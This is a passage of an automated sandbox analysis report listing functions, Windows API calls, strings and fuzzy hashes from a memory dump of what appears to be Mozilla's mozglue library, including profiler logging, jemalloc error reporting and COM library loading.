Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

combase.dll, xrefs: 6C6620A9
CoInitializeSecurity, xrefs: 6C6620C7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

combase.dll, xrefs: 6C661FD9
CoCreateInstance, xrefs: 6C661FF7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

combase.dll, xrefs: 6C660F18
CoInitializeEx, xrefs: 6C660F36

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C660E9B
kernel32.dll, xrefs: 6C660E7D

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
